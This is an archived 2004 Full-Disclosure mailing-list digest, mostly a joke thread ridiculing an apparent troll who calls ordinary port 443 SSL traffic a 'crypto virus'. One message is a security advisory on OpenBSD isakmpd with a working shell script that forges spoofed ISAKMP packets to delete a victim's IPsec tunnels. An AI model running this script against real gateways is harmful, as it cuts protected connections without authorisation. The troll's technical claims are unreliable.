Gibt's eigentlich auch schon emacs-Einbauk?chen?

[nico.hoffmann at physik.tu-chemnitz.de (Nico Hoffmann)
zum Thema "vi-Tassen" in de.alt.arnooo]



From vb at bitsmart.com  Tue Jun  8 19:33:01 2004
From: vb at bitsmart.com (VB)
Date: Tue, 8 Jun 2004 14:33:01 -0400
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
References: <20040608164022.33164.qmail@web51507.mail.yahoo.com> <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>
Message-ID: <001901c44d87$0dda71c0$0b04b042@badass>

Surely this is a poor attempt at comedy.........
fyi,
The Secure Sockets Layer (SSL) is a commonly-used protocol for managing the
security of a message transmission on the Internet. SSL has recently been
succeeded by Transport Layer Security (TLS), which is based on SSL. SSL uses
a program layer located between the Internet's Hypertext Transfer Protocol
(HTTP) and Transport Control Protocol (TCP) layers. SSL is included as part
of both the Microsoft and Netscape browsers and most Web server products.
Developed by Netscape, SSL also gained the support of Microsoft and other
Internet client/server developers as well and became the de facto standard
until evolving into Transport Layer Security. The "sockets" part of the term
refers to the sockets method of passing data back and forth between a client
and a server program in a network or between program layers in the same
computer. SSL uses the public-and-private key encryption system from RSA,
which also includes the use of a digital certificate.
TLS and SSL are an integral part of most Web browsers (clients) and Web
servers. If a Web site is on a server that supports SSL, SSL can be enabled
and specific Web pages can be identified as requiring SSL access. Any Web
server can be enabled by using Netscape's SSLRef program library which can
be downloaded for noncommercial use or licensed for commercial use.

TLS and SSL are not interoperable. However, a message sent with TLS can be
handled by a client that handles SSL but not TLS.


----- Original Message ----- 
From: "Billy B. Bilano" <mr.bill.bilano at email.server.unix.bill.bilano.biz>
To: <full-disclosure at lists.netsys.com>
Sent: Tuesday, June 08, 2004 1:05 PM
Subject: Re: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!


> Hi Harlan! Thanks for your reply... hard to make heads or tails of what
you
> are saying though...
>
> > Wouldn't it then be, by definition, a worm?
>
> A worm or whatever you want to call it, that's cool. I just thought
"virus"
> sounds more alarming than worm! Everybody has had a worm or two, but a
virus
> is a tough cookie to crack!
>
>
> > What information do you have to support this
> > assumption?
>
> Because it is attacking our web servers and it seems to have somehow
gotten
> installed on our web servers at the same time! I don't know how it got in,
> but there is traffic going in and out of the servers on port 443 with an
> encrypted payload! I don't know what is answering on port 443 on the web
> servers, but for the life of me I can't find anything on them that looks
> like it's a virus or a worm or a troglodite or anything!
>
>
> > If this worm runs over SSL, as you say, then wouldn't
> > you expect it to be encrypted?
>
> Whatever ssl is, I don't know but it's using the so-called "ssl" port on
the
> web servers. I don't think it has anything to do with whatever ssl was
back
> in the old days of UNIX. It has a lower port number and that means it's an
> older port! Probably from the 1970s!
>
> Besides, why should I see any encrypted traffic on any port other than
SSH?
> I don't expect to see encryption on anything other than the SSH port 22
> (which is a very old port).
>
>
> > Regardless, there isn't any information in your post
> > that clearly shows that this worm infects both Windows
> > and Unix hosts.  In fact, one thing that does seem
> > clear in your post is that you haven't collected any
> > information from the "infected" hosts, but rather all
> > you've got so far is network traffic via
> > Ethereal...and to be honest, any worm running over SSL
> > is going to be encrypted...
>
> But this port 443 is not SSH! Why should it be encrypted? And what is this
> "ssl" thing? I've been in IT for many years and I am now IT Director here
at
> the bank... I would think that I would know what "ssl" would be. I don't
> think this worm has anything to do with whatever "ssl" is. Does anybody
even
> still use ssl? That's probably why the hackers chose it.
>
>
> P.S. Check out my bloglog, Harlan!
>
> --------
> Mr. Billy B. Bilano, MSCE, CCNA
> <http://www.bilano.biz/>
> Expert Sysadmin Since 2003!
> 'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html



From dila at myrealbox.com  Tue Jun  8 18:09:14 2004
From: dila at myrealbox.com (dila)
Date: Tue, 08 Jun 2004 18:09:14 +0100
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
References: <023801c44d70$be782fc0$c700a8c0@wfs.com>
Message-ID: <200406081710.i58HAYv09475@netsys.com>

j00 d0nt f00l u5

"Billy B. Bilano" <mr.bill.bilano at email.server.unix.bill.bilano.biz> wrote:
>
>Salutations, amigos!
>
>Bill Bilano here, reporting in from the front-lines! I've got some
>disturbing news that I've got to get some answers about while I share. I
>think we're about to come under full hacker attack at any second! And to
>those people that said us folks talking about crypto viruses were being
>chicken littles... let me tell you, the sky just fell! And it is HEAVY!
>
>I was sitting at my desk doing more research on the OPENBSD virus I
>discovered last week. I was watching ethereal and monitoring the traffic
>coming in and out of the facility and I saw a ton of traffic coming straight
>for our web servers! The routers, firewalls, and intrusion detraction
>systems were not sounding the red alarms like they should have been (we'll
>get to THAT one later).
>
>There appears to be a new virus in town and it's affecting Windows and UNIX
>web servers! I have not identified a pattern of infection yet but the virus
>is clearly advancing but it only affects web servers!
>
>The virus works on port 443. It seems to accept inbound connections on that
>port as well and, presumably, awaits for commands from some series of
>servers elsewhere. Perhaps taking orders? I also captured some of the
>traffic and attempted to analyze it up but it looks like -- you heard it
>here first, folks -- the payload is encrypted! Is this the first of a coming
>storm of crypto viruses we've all been eagerly fearing? (I have already sent
>a copy of the payload to the distributed.net people so they can try to use
>some of those wasting cycles to decipher it like they did the last one!)
>
>I have taken the liberty of naming the virus already. I looked in
>etc/services and saw that this port is for and it is something called "ssl"
>so I am calling it w32.ssl.b (b for bilano, since I discovered this wretched
>thing!)
>
>I called in our webmaster and showed him the data. He is either too stupid
>to know what's going on or he takes me for a fool. I got him in the
>conference room and showed him the print outs. He tried to convince me it
>was not a virus and just normal web traffic but web traffic is on port 80!
>No fooling old Bill! LOL! So I told him to gather his stuff up and gave him
>his marching orders. I have no time for this kind of bull, what with the
>OPENBSD virus last week (still picking up the pieces there). He must have
>known I was on to him because he was just laughing on his way out the front
>door. He may have even been involved with the infection! Good riddance,
>chump!
>
>At any rate, this is your heads up, folks! You heard it here first! Be on
>the lookout for this first, very nasty CRYPTO VIRUS!
>
>P.S. I wonder if this virus was from a spam-gang?!
>
>P.P.S. Check out my bloglog in my sig!
>
>--------
>Mr. Billy B. Bilano, MSCE, CCNA
><http://www.bilano.biz/>
>Expert Sysadmin Since 2003!
>'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS
>
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html



From thomas-fd at unproved.org  Tue Jun  8 19:52:39 2004
From: thomas-fd at unproved.org (Thomas Walpuski)
Date: Tue, 8 Jun 2004 18:52:39 +0000
Subject: [Full-Disclosure] unauthorized deletion of IPsec SAs in isakmpd, still
Message-ID: <20040608185239.GB6778@unproved.org>

1 Abstract

  For nearly 10 months a handful of OpenBSD-developers is trying to fix
  a plethora of payload handling flaws in isakmpd. On 2004/01/13 they
  released something like a final patch to a broader public. The patch
  protects against some specific attacks, but does not solve the
  problem. 

2 Description

  Unauthorized deletion of IPsec SAs is still possible using a delete
  payload piggybacked on a initiation of main mode.

  For more details trace message_recv() ff. with gdb during an attack.

3 Affected Systems

  All (recent) versions of isakmpd are affected. The attack has been
  successfully tested against the most recent CVS-version of isakmpd.

4 The Attack

  Here we go. There is an IPsec tunnel between sg-a and sg-b:

    sg-a# cat /kern/ipsec | grep SPI
    SPI = 97e49ca2, Destination = <sg-a's IP address>, Sproto = 50
    SPI = 901e38d9, Destination = <sg-b's IP address>, Sproto = 50

  The attacker built some little script, because this time he wants to
  shoot down a bunch of IPsec SAs:

    attacker# cat during_these_hostile_and_trying_times_and_what-not
    #!/bin/sh
    if [ ! $# -eq 3 ]; then
      echo "usage: $0 <faked-src> <victim> <spi>";
      exit;
    fi
    
    src=$1; dst=$2
    spi=`echo $3 | sed 's/\(..\)/\\\\x\1/g'`
    cky_i=`dd if=/dev/urandom bs=8 count=1 2>/dev/null`
    
    dnet hex \
      $cky_i \
      "\x00\x00\x00\x00\x00\x00\x00\x00" \
      "\x01\x10\x02\x00" \
      "\x00\x00\x00\x00" \
      "\x00\x00\x00\x58" \
        "\x0c\x00\x00\x2c" \
        "\x00\x00\x00\x01" \
        "\x00\x00\x00\x01" \
          "\x00\x00\x00\x20" \
          "\x01\x01\x00\x01" \
          "\x00\x00\x00\x18" \
          "\x00\x01\x00\x00" \
          "\x80\x01\x00\x05" \
          "\x80\x02\x00\x02" \
          "\x80\x03\x00\x01" \
          "\x80\x04\x00\x02" \
        "\x00\x00\x00\x10" \
        "\x00\x00\x00\x01" \
        "\x03\x04\x00\x01" \
        $spi |
    dnet udp sport 500 dport 500 |
    dnet ip proto udp src $src dst $dst |
    dnet send

  He fires up his script with appropriate parameters:
    
    attacker# ./during_these_hostile_and_trying_times_and_what-not \
    > sg-b sg-a 901e38d9

  And the victim's IPsec SAs _and_ policies fade away almost
  instantaneous:
    
    sg-a# cat /kern/ipsec  
    Hashmask: 31, policy entries: 0

5 Solution?

  There are no bug fixes, yet.

Thomas Walpuski



From kenng at kpmg.com  Tue Jun  8 19:51:08 2004
From: kenng at kpmg.com (Ng, Kenneth (US))
Date: Tue, 8 Jun 2004 14:51:08 -0400 
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Disc
	overed!
Message-ID: <9AD9D61578B84144912BCB44CBEF9EAD0700E98A@usnssexc03.us.kworld.kpmg.com>

Question is, are you supposed to have a SSL server on that box?  If so,
that's what it is.  If not, then you definitely have a problem.  Try
connecting to that box with the URL you normally use, just use "https"
instead of "http".  If you get the "normal" page, then someone turned on
https without realizing it.  If you get something different, then you
investigate.

-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of Billy B.
Bilano
Sent: Tuesday, June 08, 2004 12:46 PM
To: full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!


Steve,

Sorry to say but it is not! I checked my incoming traffic again this morning
and the attack on port 443 is still coming in full steam ahead! I don't know
what's going on, but I am about to block that port on my firewall. Some
nitwit (probably the idiot that was here before I became IT Director)
somehow, for some reason, deliberately opened port 443 on the firewalls!

I am beginning to think that this is the first wave of the new coming global
crypto-storm!

--------
Mr. Billy B. Bilano, MSCE, CCNA
<http://www.bilano.biz/>
Expert Sysadmin Since 2003!
'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS



----- Original Message ----- 
From: "-----, Steve" <----------------------->
To: "Billy B. Bilano" <mr.bill.bilano at email.server.unix.bill.bilano.biz>
Sent: Tuesday, June 08, 2004 11:34 AM
Subject: RE: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!


> Please tell me this is just a really bad joke?
>
> -----Original Message-----
> From: Billy B. Bilano
> [mailto:mr.bill.bilano at email.server.unix.bill.bilano.biz]
> Sent: Tuesday, June 08, 2004 10:53 AM
> To: full-disclosure at lists.netsys.com
> Subject: [Full-Disclosure] Possible First Crypto Virus Definitely
> Discovered!
>
> Salutations, amigos!
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


*****************************************************************************
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorized. 

If you are not the intended recipient, any disclosure, copying, distribution
or any action taken or omitted to be taken in reliance on it, is prohibited
and may be unlawful. When addressed to our clients any opinions or advice
contained in this email are subject to the terms and conditions expressed in
the governing KPMG client engagement letter.         
*****************************************************************************



From krimskram at freenet.de  Tue Jun  8 20:01:15 2004
From: krimskram at freenet.de (=?iso-8859-1?Q?Jakob_J=FCnger?=)
Date: Tue, 8 Jun 2004 21:01:15 +0200
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
References: <20040608164022.33164.qmail@web51507.mail.yahoo.com> <02ab01c44d7a$c50c8f20$c700a8c0@wfs.com>
Message-ID: <000e01c44d8a$fe466b70$0100a8c0@CJAKOB>

Hi,

I just can admit to what Billy wrote. The Firewall of my PDA is getting
hot. It plays "Yellow Submarine" everytime I press the escape-key. It
has to be something like this crypto-thing. I don't know what "crypto"
means but it seems to be encrypted with EnglishLanguageProtocol.
Believe me, I have been the administrator of my PDA since I was three
years old.

Jakob

> Whatever ssl is, I don't know but it's using the so-called "ssl"
> port on the web servers.

> But this port 443 is not SSH! Why should it be encrypted? And what
> is this "ssl" thing? I've been in IT for many years and I am now IT
> Director here at the bank... I would think that I would know what
> "ssl" would be. I don't think this worm has anything to do with
> whatever "ssl" is. Does anybody even still use ssl? That's probably
> why the hackers chose it.

>Sorry to say but it is not! I checked my incoming traffic again this
morning
>and the attack on port 443 is still coming in full steam ahead! I
don't know
>what's going on, but I am about to block that port on my firewall.
Some
>nitwit (probably the idiot that was here before I became IT Director)
>somehow, for some reason, deliberately opened port 443 on the
firewalls!

>I am beginning to think that this is the first wave of the new coming
global
>crypto-storm!



From Thierry at Sniff-em.com  Tue Jun  8 20:08:04 2004
From: Thierry at Sniff-em.com (Thierry)
Date: Tue, 8 Jun 2004 21:08:04 +0200
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <40C5FB8C.7080206@emmanuelcomputerconsulting.com>
References: <023801c44d70$be782fc0$c700a8c0@wfs.com>
 <40C5FB8C.7080206@emmanuelcomputerconsulting.com>
Message-ID: <79722670.20040608210804@Sniff-em.com>

Hello Listmembers,

A brief call to the list: Please don't feed the troll.
My mail treshold from this list has enough bs.

Thanks.
-- 
Best regards,
 Thierry                            mailto:Thierry at Sniff-em.com



From sboone at pyrontechnologies.com  Tue Jun  8 20:20:32 2004
From: sboone at pyrontechnologies.com (Steve Boone)
Date: Tue, 8 Jun 2004 13:20:32 -0600
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
Message-ID: <4BCFEFE94E59DB4D83215DA00C3C61E76158EF@frodo.pyron.com>

How about renaming it to w32 at imn.id10.t?  More fitting methinks.  :-)

-----Original Message-----
From: Billy B. Bilano
[mailto:mr.bill.bilano at email.server.unix.bill.bilano.biz] 
Sent: Tuesday, June 08, 2004 9:53 AM
To: full-disclosure at lists.netsys.com
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!


Salutations, amigos!

Bill Bilano here, reporting in from the front-lines! I've got some
disturbing news that I've got to get some answers about while I share. I
think we're about to come under full hacker attack at any second! And to
those people that said us folks talking about crypto viruses were being
chicken littles... let me tell you, the sky just fell! And it is HEAVY!

I was sitting at my desk doing more research on the OPENBSD virus I
discovered last week. I was watching ethereal and monitoring the traffic
coming in and out of the facility and I saw a ton of traffic coming
straight
for our web servers! The routers, firewalls, and intrusion detraction
systems were not sounding the red alarms like they should have been
(we'll
get to THAT one later).

There appears to be a new virus in town and it's affecting Windows and
UNIX
web servers! I have not identified a pattern of infection yet but the
virus
is clearly advancing but it only affects web servers!

The virus works on port 443. It seems to accept inbound connections on
that
port as well and, presumably, awaits for commands from some series of
servers elsewhere. Perhaps taking orders? I also captured some of the
traffic and attempted to analyze it up but it looks like -- you heard it
here first, folks -- the payload is encrypted! Is this the first of a
coming
storm of crypto viruses we've all been eagerly fearing? (I have already
sent
a copy of the payload to the distributed.net people so they can try to
use
some of those wasting cycles to decipher it like they did the last one!)

I have taken the liberty of naming the virus already. I looked in
etc/services and saw that this port is for and it is something called
"ssl"
so I am calling it w32.ssl.b (b for bilano, since I discovered this
wretched
thing!)

I called in our webmaster and showed him the data. He is either too
stupid
to know what's going on or he takes me for a fool. I got him in the
conference room and showed him the print outs. He tried to convince me
it
was not a virus and just normal web traffic but web traffic is on port
80!
No fooling old Bill! LOL! So I told him to gather his stuff up and gave
him
his marching orders. I have no time for this kind of bull, what with the
OPENBSD virus last week (still picking up the pieces there). He must
have
known I was on to him because he was just laughing on his way out the
front
door. He may have even been involved with the infection! Good riddance,
chump!

At any rate, this is your heads up, folks! You heard it here first! Be
on
the lookout for this first, very nasty CRYPTO VIRUS!

P.S. I wonder if this virus was from a spam-gang?!

P.P.S. Check out my bloglog in my sig!

--------
Mr. Billy B. Bilano, MSCE, CCNA
<http://www.bilano.biz/>
Expert Sysadmin Since 2003!
'C:\WINDOWS, C:\WINDOWS\GO, C:\PC\CRAWL'  -- RMS


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



From rodrigo at intellicomp.cl  Tue Jun  8 20:25:51 2004
From: rodrigo at intellicomp.cl (Rodrigo Gutierrez)
Date: Tue, 8 Jun 2004 15:25:51 -0400
Subject: [Full-Disclosure] Possible First Crypto Virus Definitely Discovered!
In-Reply-To: <28A2E0D6A920954ABBF13AF712CEBDB601BB882F@exchange05.bnl.gov>
Message-ID: <200406082025.i58KPOQ5001456@mail.soporte.cl>

Has george bush become a security researcher? Htf people can answer to this
thread?... Is this GOOBLES AGAIN?

Rodrigo.- 

-----Mensaje original-----
De: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com] En nombre de Meeusen,
Charles D
Enviado el: Martes, 08 de Junio de 2004 13:50
Para: full-disclosure at lists.netsys.com
Asunto: RE: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!

"Men like me, we need a room full of clues"

--Doug.

-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of Harlan Carvey
Sent: Tuesday, June 08, 2004 12:40 PM
To: full-disclosure at lists.netsys.com
Cc: Billy B. Bilano
Subject: Re: [Full-Disclosure] Possible First Crypto Virus Definitely
Discovered!


Bill,

>From your post, you don't seem to have a great deal of
detailed information to share about this issue...
 
> The virus works on port 443. 

Wouldn't it then be, by definition, a worm?

> It seems to accept inbound connections on that port as well and, 
> presumably, awaits for commands from some series of servers elsewhere. 
> Perhaps taking orders?

What information do you have to support this assumption?

> I also captured some of the
> traffic and attempted to analyze it up but it looks like -- you heard 
> it here first, folks -- the payload is encrypted!

If this worm runs over SSL, as you say, then wouldn't you expect it to be
encrypted?  

> Is this the first of a coming
> storm of crypto viruses we've all been eagerly fearing?

Is it?
http://www.us-cert.gov/current/current_activity.html#pct

http://www.cert.org/advisories/CA-2002-27.html

To be totally honest, Bill, I don't see a great deal of information in your
post that supports any of your assertions/assumptions.  If this thing is
spreading the way you say it is, then it's a worm.  

Regardless, there isn't any information in your post that clearly shows that
this worm infects both Windows and Unix hosts.  In fact, one thing that does
seem clear in your post is that you haven't collected any information from
the "infected" hosts, but rather all you've got so far is network traffic
via Ethereal...and to be honest, any worm running over SSL is going to be
encrypted...
 
> At any rate, this is your heads up, folks! You heard it here first! Be 
> on the lookout for this first, very nasty CRYPTO VIRUS!

Thanks.  Noted.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html




From mr.bill.bilano at email.server.unix.bill.bilano.biz  Tue Jun  8 20:26:42